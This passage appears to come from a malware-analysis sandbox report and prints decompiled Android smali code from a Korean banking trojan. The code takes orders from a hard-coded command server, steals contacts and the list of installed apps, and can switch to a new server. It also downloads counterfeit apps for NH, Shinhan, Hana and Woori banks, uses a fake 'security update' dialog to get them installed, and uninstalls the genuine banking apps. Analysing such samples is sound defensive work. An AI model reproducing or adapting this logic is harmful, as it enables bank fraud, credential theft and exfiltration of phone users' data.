145 | invoke-virtual {v7, v10}, Lcom/example/adt/SMS;->send(Ljava/lang/String;)V | |
146 | cond_ba: | |
147 | const-string v10, "issms" | |
149 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
150 | move-result v10 | |
151 | if-eqz v10, :cond_d3 | |
153 | const-string v10, "val" | |
155 | invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
156 | move-result-object v10 | |
158 | invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | |
159 | move-result v4 | |
161 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
163 | const-string v11, "issms" | |
165 | invoke-static {v10, v11, v4}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
166 | cond_d3: | |
167 | const-string v10, "iscall" | |
169 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
170 | move-result v10 | |
171 | if-eqz v10, :cond_f5 | |
173 | const-string v10, "val" | |
175 | invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
176 | move-result-object v10 | |
178 | invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | |
179 | move-result v3 | |
181 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
183 | const-string v11, "iscall" | |
185 | invoke-static {v10, v11, v3}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
187 | const-string v10, "val" | |
189 | invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
190 | move-result-object v10 | |
192 | invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | |
193 | cond_f5: | |
194 | const-string v10, "contact" | |
196 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
197 | move-result v10 | |
198 | if-eqz v10, :cond_11d | |
200 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
201 | new-instance v11, Ljava/lang/StringBuilder; | |
203 | const-string v12, "\u6b63\u5728\u5904\u7406\u83b7\u53d6\u901a\u4fe1\u5f55.... => " | |
205 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
207 | sget-object v12, Lcom/example/adt/Config;->URL:Ljava/lang/String; | |
209 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
210 | move-result-object v11 | |
212 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
213 | move-result-object v11 | |
215 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
216 | new-instance v10, Lcom/example/adt/Contact; | |
218 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
220 | invoke-direct {v10, v11}, Lcom/example/adt/Contact;-><init>(Lcom/example/adt/CoreService;)V | |
222 | invoke-virtual {v10}, Lcom/example/adt/Contact;->getPhoneContacts()V | |
223 | cond_11d: | |
224 | const-string v10, "apps" | |
226 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
227 | move-result v10 | |
228 | if-eqz v10, :cond_136 | |
230 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
232 | const-string v11, "\u6b63\u5728\u5904\u7406apps..." | |
234 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
235 | new-instance v10, Lcom/example/adt/App; | |
237 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
239 | invoke-direct {v10, v11}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V | |
241 | invoke-virtual {v10}, Lcom/example/adt/App;->sendApps()V | |
242 | cond_136: | |
243 | const-string v10, "changeapp" | |
245 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
246 | move-result v10 | |
247 | if-eqz v10, :cond_159 | |
249 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
251 | const-string v11, "\u6b63\u5728\u5904\u7406\u63d0\u793a\u66f4\u65b0app\u547d\u4ee4..." | |
253 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
254 | try_start_145: new-instance v10, Lcom/example/adt/App; | |
256 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
258 | invoke-direct {v10, v11}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V | |
260 | const-string v11, "info" | |
262 | invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
263 | move-result-object v11 | |
265 | invoke-virtual {v11}, Ljava/lang/String;->trim()Ljava/lang/String; | |
266 | move-result-object v11 | |
268 | invoke-virtual {v10, v11}, Lcom/example/adt/App;->alertBroadCast(Ljava/lang/String;)V | |
269 | try_start_159: | |
270 | const-string v10, "move" | |
272 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
273 | move-result v10 | |
274 | if-eqz v10, :cond_195 | |
275 | new-instance v10, Ljava/lang/StringBuilder; | |
277 | const-string v11, "http://" | |
279 | invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
281 | const-string v11, "info" | |
283 | invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
284 | move-result-object v11 | |
286 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
287 | move-result-object v10 | |
289 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
290 | move-result-object v6 | |
292 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
294 | const-string v11, "serverip" | |
296 | invoke-static {v10, v11, v6}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
297 | sput-object v6, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
299 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
300 | new-instance v11, Ljava/lang/StringBuilder; | |
302 | const-string v12, "\u6211\u7684\u5230\u4e86\u65b0\u7684\u670d\u52a1\u5668IP => " | |
304 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
306 | sget-object v12, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
308 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
309 | move-result-object v11 | |
311 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
312 | move-result-object v11 | |
314 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
315 | goto_195: return-void | |
316 | catch_196: move-exception v2 | |
318 | invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V | |
319 | goto/16 :goto_195 | |
320 | catch_19b: move-exception v10 | |
321 | goto/16 :goto_159 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v6, 0x3 | |
2 | const/4 v5, 0x2 | |
3 | const/4 v4, 0x1 | |
4 | const/4 v3, 0x4 | |
5 | const/4 v2, 0x0 | |
7 | const-string v0, "http://www.slmoney.co.kr" | |
8 | sput-object v0, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
10 | const-string v0, "/index.php?m=Api&a=" | |
11 | sput-object v0, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
12 | new-instance v0, Ljava/lang/StringBuilder; | |
14 | sget-object v1, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
16 | invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
17 | move-result-object v1 | |
19 | invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
21 | const-string v1, "/Apk/" | |
23 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
24 | move-result-object v0 | |
26 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
27 | move-result-object v0 | |
28 | sput-object v0, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String; | |
29 | new-instance v0, Ljava/lang/StringBuilder; | |
31 | sget-object v1, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
33 | invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
34 | move-result-object v1 | |
36 | invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
38 | sget-object v1, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
40 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
41 | move-result-object v0 | |
43 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
44 | move-result-object v0 | |
45 | sput-object v0, Lcom/example/adt/Config;->URL:Ljava/lang/String; | |
47 | const-string v0, "" | |
48 | sput-object v0, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
50 | const-string v0, "" | |
51 | sput-object v0, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
52 | const/4 v0, 0x0 | |
53 | sput-object v0, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
55 | const-string v0, "" | |
56 | sput-object v0, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
57 | new-array v0, v3, [Ljava/lang/String; | |
59 | const-string v1, "nh.smart" | |
60 | aput-object v1, v0, v2 | |
62 | const-string v1, "com.shinhan.sbanking" | |
63 | aput-object v1, v0, v4 | |
65 | const-string v1, "com.hanabank.ebk.channel.android.hananbank" | |
66 | aput-object v1, v0, v5 | |
68 | const-string v1, "com.webcash.wooribank" | |
69 | aput-object v1, v0, v6 | |
70 | sput-object v0, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
71 | new-array v0, v3, [Ljava/lang/String; | |
73 | const-string v1, "com.korea.kr_nhbank" | |
74 | aput-object v1, v0, v2 | |
76 | const-string v1, "com.example.kr_shbank" | |
77 | aput-object v1, v0, v4 | |
79 | const-string v1, "com.example.kr_hnbank" | |
80 | aput-object v1, v0, v5 | |
82 | const-string v1, "com.example.kr_wrbank" | |
83 | aput-object v1, v0, v6 | |
84 | sput-object v0, Lcom/example/adt/Config;->upbank:[Ljava/lang/String; | |
85 | new-array v0, v3, [Ljava/lang/String; | |
87 | const-string v1, "\ub18d" | |
88 | aput-object v1, v0, v2 | |
90 | const-string v1, "\uc2e0" | |
91 | aput-object v1, v0, v4 | |
93 | const-string v1, "\ud558" | |
94 | aput-object v1, v0, v5 | |
96 | const-string v1, "\uc6b0" | |
97 | aput-object v1, v0, v6 | |
98 | sput-object v0, Lcom/example/adt/Config;->bankName:[Ljava/lang/String; | |
99 | new-array v0, v3, [Ljava/lang/String; | |
101 | const-string v1, "KR_NHBank.apk" | |
102 | aput-object v1, v0, v2 | |
104 | const-string v1, "KR_SHBank.apk" | |
105 | aput-object v1, v0, v4 | |
107 | const-string v1, "KR_HNBank.apk" | |
108 | aput-object v1, v0, v5 | |
110 | const-string v1, "KR_WRBank.apk" | |
111 | aput-object v1, v0, v6 | |
112 | sput-object v0, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
113 | new-array v0, v3, [Ljava/lang/String; | |
115 | const-string v1, "NH\ubc45\ud0b9" | |
116 | aput-object v1, v0, v2 | |
118 | const-string v1, "\uc2e0\ud55cS\ubc45\ud06c" | |
119 | aput-object v1, v0, v4 | |
121 | const-string v1, "\ud558\ub098N Bank" | |
122 | aput-object v1, v0, v5 | |
124 | const-string v1, "\uc6d0\ud130\uce58\uac1c\uc778" | |
125 | aput-object v1, v0, v6 | |
126 | sput-object v0, Lcom/example/adt/Config;->bName:[Ljava/lang/String; | |
127 | new-array v0, v3, [I | |
128 | fill-array-data v0, :array_c0 | |
129 | sput-object v0, Lcom/example/adt/Config;->icon:[I | |
131 | const-string v0, "" | |
132 | sput-object v0, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
134 | const-string v0, "" | |
135 | sput-object v0, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
136 | sput v2, Lcom/example/adt/Config;->isAlert:I | |
137 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "context" | |
1 | .parameter "intent" | |
2 | .prologue | |
3 | const/4 v11, 0x0 | |
5 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
6 | move-result-object v0 | |
8 | const-string v9, "app.gx3.alert" | |
10 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
11 | move-result v9 | |
12 | if-eqz v9, :cond_ef | |
14 | const-string v9, "alert" | |
16 | invoke-virtual {p2, v9, v11}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z |
|
17 | move-result v1 | |
19 | const-string v9, "info" | |
21 | invoke-virtual {p2, v9}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
22 | move-result-object v9 | |
24 | invoke-virtual {v9}, Ljava/lang/String;->toString()Ljava/lang/String; | |
25 | move-result-object v9 | |
27 | invoke-static {v9}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String; | |
28 | move-result-object v8 | |
29 | if-eqz v1, :cond_ef | |
31 | const-string v9, "" | |
33 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
34 | move-result v9 | |
35 | if-nez v9, :cond_ef | |
37 | const-string v9, "#" | |
39 | invoke-virtual {v8, v9}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String; |
|
40 | move-result-object v3 | |
41 | const/4 v9, 0x1 | |
42 | aget-object v9, v3, v9 | |
43 | sput-object v9, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
45 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
47 | sget-object v10, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
48 | iput-object v10, v9, Lcom/example/adt/CoreService;->mApk:Ljava/lang/String; | |
50 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
51 | aget-object v10, v3, v11 | |
52 | iput-object v10, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
53 | const/4 v9, 0x2 | |
54 | aget-object v9, v3, v9 | |
55 | sput-object v9, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
57 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
59 | sget-object v10, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
60 | iput-object v10, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
61 | const v7, 0x7f020001 | |
62 | const/4 v6, 0x0 | |
63 | goto_51: | |
64 | sget-object v9, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
65 | array-length v9, v9 | |
66 | if-lt v6, v9, :cond_11b | |
67 | new-instance v9, Ljava/lang/StringBuilder; | |
69 | sget-object v10, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String; | |
71 | invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
72 | move-result-object v10 | |
74 | invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
76 | sget-object v10, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
78 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
79 | move-result-object v9 | |
81 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
82 | move-result-object v9 | |
84 | invoke-static {v9}, Lcom/example/adt/DownLoad;->downLoadFile(Ljava/lang/String;)Ljava/io/File; | |
85 | move-result-object v9 | |
86 | sput-object v9, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
88 | sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
90 | const-string v10, "\u6587\u4ef6\u4e0b\u8f7d\u6210\u529f => 000000" | |
92 | invoke-virtual {v9, v10}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
94 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
96 | iget-object v9, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
97 | new-instance v10, Ljava/lang/StringBuilder; | |
99 | iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
101 | iget-object v11, v11, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
103 | invoke-static {v11}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
104 | move-result-object v11 | |
106 | invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
108 | const-string v11, "\uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00\uc788\uc2b5\ub2c8\ub2e4" | |
110 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
111 | move-result-object v10 | |
113 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
114 | move-result-object v10 | |
116 | const-string v11, "\ucd5c\uc2e0\ubc84\uc804\uc73c\ub85c \ubcf4\uc548\uac15\ud654 \ud558\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4" | |
118 | invoke-static {v9, v10, v11, v7}, Lcom/example/adt/CoreService;->showNofity(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V |
|
119 | new-instance v2, Landroid/app/AlertDialog$Builder; | |
121 | sget-object v9, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
123 | invoke-direct {v2, v9}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
125 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
127 | iget-object v9, v9, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
129 | invoke-virtual {v2, v9}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
130 | new-instance v9, Ljava/lang/StringBuilder; | |
132 | iget-object v10, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
134 | iget-object v10, v10, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
136 | invoke-static {v10}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
137 | move-result-object v10 | |
139 | invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
141 | const-string v10, " \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4." | |
143 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
144 | move-result-object v9 | |
146 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
147 | move-result-object v9 | |
149 | invoke-virtual {v2, v9}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
151 | const-string v9, "\ud655\uc778" | |
152 | new-instance v10, Lcom/example/adt/CoreService$BtnClick; | |
154 | iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
156 | invoke-direct {v10, v11}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
158 | invoke-virtual {v2, v9, v10}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
160 | const-string v9, "\ucde8\uc18c" | |
161 | new-instance v10, Lcom/example/adt/CoreService$BtnClick; | |
163 | iget-object v11, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
165 | invoke-direct {v10, v11}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
167 | invoke-virtual {v2, v9, v10}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
169 | invoke-virtual {v2}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog; | |
170 | move-result-object v5 | |
172 | invoke-virtual {v5}, Landroid/app/AlertDialog;->getWindow()Landroid/view/Window; | |
173 | move-result-object v9 | |
174 | const/16 v10, 0x7d3 | |
176 | invoke-virtual {v9, v10}, Landroid/view/Window;->setType(I)V |
|
178 | invoke-virtual {v5}, Landroid/app/AlertDialog;->show()V | |
180 | sget-object v9, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
182 | const-string v10, "\u6211\u6536\u5230App.Alert" | |
184 | invoke-virtual {v9, v10}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
185 | cond_ef: | |
186 | const-string v9, "app.dwonload.complate" | |
188 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
189 | move-result v9 | |
190 | if-eqz v9, :cond_fe | |
192 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
194 | iget-object v9, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
196 | invoke-static {v9}, Lcom/example/adt/CoreService;->uninstallAPK(Ljava/lang/String;)V | |
197 | cond_fe: | |
198 | const-string v9, "app.auto.install" | |
200 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
201 | move-result v9 | |
202 | if-eqz v9, :cond_115 | |
204 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; | |
205 | move-result-object v4 | |
207 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
209 | const-string v10, "apk" | |
211 | invoke-virtual {v4, v10}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
212 | move-result-object v10 | |
214 | invoke-virtual {v9, v10}, Lcom/example/adt/CoreService;->autoChangeApk(Ljava/lang/String;)V | |
215 | cond_115: | |
216 | const-string v9, "alert.main" | |
218 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
219 | return-void | |
220 | cond_11b: | |
221 | iget-object v9, p0, Lcom/example/adt/CoreService$MyBroadcastReciver;->this$0:Lcom/example/adt/CoreService; | |
223 | iget-object v9, v9, Lcom/example/adt/CoreService;->mPackageName:Ljava/lang/String; | |
225 | sget-object v10, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
226 | aget-object v10, v10, v6 | |
228 | invoke-virtual {v9, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
229 | move-result v9 | |
230 | if-eqz v9, :cond_12d | |
232 | sget-object v9, Lcom/example/adt/Config;->icon:[I | |
233 | aget v7, v9, v6 | |
234 | cond_12d: add-int/lit8 v6, v6, 0x1 | |
235 | goto/16 :goto_51 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter "apkname" | |
1 | .prologue | |
2 | move-object v1, p1 | |
4 | sget-object v5, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
5 | new-instance v6, Ljava/lang/StringBuilder; | |
7 | const-string v7, "\u81ea\u52a8\u5378\u8f7d\u7684\u5305\u540d => " | |
9 | invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
11 | invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
12 | move-result-object v6 | |
14 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
15 | move-result-object v6 | |
17 | invoke-virtual {v5, v6}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
18 | const v4, 0x7f020001 | |
20 | const-string v5, "" | |
22 | invoke-virtual {v1, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
23 | move-result v5 | |
24 | if-nez v5, :cond_a6 | |
25 | const/4 v3, 0x0 | |
26 | goto_21: | |
27 | sget-object v5, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
28 | array-length v5, v5 | |
29 | if-lt v3, v5, :cond_a7 | |
30 | goto_26: new-instance v5, Ljava/lang/StringBuilder; | |
32 | sget-object v6, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String; | |
34 | invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
35 | move-result-object v6 | |
37 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
39 | invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
40 | move-result-object v5 | |
42 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
43 | move-result-object v5 | |
45 | invoke-static {v5}, Lcom/example/adt/DownLoad;->downLoadFile(Ljava/lang/String;)Ljava/io/File; | |
46 | move-result-object v5 | |
47 | sput-object v5, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
48 | const/4 v5, 0x1 | |
49 | sput v5, Lcom/example/adt/Config;->isAlert:I | |
50 | new-instance v0, Landroid/app/AlertDialog$Builder; | |
52 | sget-object v5, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
54 | invoke-direct {v0, v5}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V | |
56 | iget-object v5, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
58 | invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
59 | new-instance v5, Ljava/lang/StringBuilder; | |
61 | iget-object v6, p0, Lcom/example/adt/CoreService;->mApkName:Ljava/lang/String; | |
63 | invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
64 | move-result-object v6 | |
66 | invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
68 | const-string v6, " \uc0c8\ub85c\uc6b4 \uc5c5\ub370\uc774\ud2b8\uac00 \uc788\uc2b5\ub2c8\ub2e4.\ubcf4\ub2e4 \ub354 \uc548\uc804\ud55c \uc2a4\ub9c8\ud2b8\ubc45\ud0b9\uc744 \uc0ac\uc6a9\ud558\uae30\uc704\ud558\uc5ec \ucd5c\uc2e0\ubc84\uc804\uc744 \ub2e4\uc6b4\ubc1b\uc73c\uc2dc\uae30 \ubc14\ub78d\ub2c8\ub2e4." | |
70 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
71 | move-result-object v5 | |
73 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
74 | move-result-object v5 | |
76 | invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder; | |
78 | const-string v5, "\ud655\uc778" | |
79 | new-instance v6, Lcom/example/adt/CoreService$BtnClick; | |
81 | invoke-direct {v6, p0}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
83 | invoke-virtual {v0, v5, v6}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder; |
|
85 | const-string v5, "\ucde8\uc18c" | |
86 | new-instance v6, Lcom/example/adt/CoreService$BtnClick; | |
88 | invoke-direct {v6, p0}, Lcom/example/adt/CoreService$BtnClick;-><init>(Lcom/example/adt/CoreService;)V | |
